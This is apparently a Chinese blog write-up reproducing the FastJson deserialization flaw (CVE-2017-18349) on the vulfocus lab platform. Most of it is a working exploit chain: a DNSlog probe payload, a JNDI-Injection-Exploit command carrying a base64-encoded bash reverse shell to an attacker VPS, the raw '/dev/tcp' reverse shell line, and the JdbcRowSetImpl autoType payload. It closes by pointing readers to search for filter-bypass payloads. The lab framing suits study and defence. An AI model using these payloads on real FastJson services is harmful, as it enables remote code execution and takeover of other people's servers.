FastJson反序列化漏洞（CVE-2017-18349）

漏洞原理

原理就不多说了，可以去看我这篇文章，已经写得很详细了。

影响版本

FastJson<=1.2.24

复现过程

这里我是用vulfocus.cn这个漏洞平台去复现的，比较方便，访问发现是个Json的数据。

抓个包，改为post请求模式，数据类型改为json，随便请求个json格式的数据再发送，发现其会处理json的数据。

找个dnslog平台测试一下。

{
    "a":{
        "@type":"java.net.Inet4Address",
        "val":"dnslog地址"
    }
}

发现有回显，说明存在远程命令执行漏洞。

接着来反弹shell，我们用JNDI-Injection-Exploit这个工具来进行，这个工具比较方便可以根据命令来生成rmi/ldap资源路径，就不需要我们自己编写class文件了。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base,-d}|{bash,-i}" -A xxx.xxx.xxx（vps的IP）

把上面echo后面的xxxx替换成下面反弹shell命令的base编码，执行命令之后就会生成几个资源链接，不知道用哪个的话，都试试就行。

bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

利用这个payload，把dataSourceName里面的内容换成我们上面的资源链接。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxx.xxx.xxx.xxx/xxx",	
        "autoCommit":true
    }
}

监听一下连接端口

重新发包。

可以看到有服务器请求了我们的rmi资源。

但是没有返回shell，奇了怪了，昨天都还正常的，算了不管了，反正原理就这样。

总结

这个漏洞原理只要你把它搞懂了其实很简单的，不算难，而且无论什么版本的FastJson的漏洞原理都是一样的。只不过是增加了一下黑白名单的过滤，也存在对应的绕过方法，搜一下payload即可。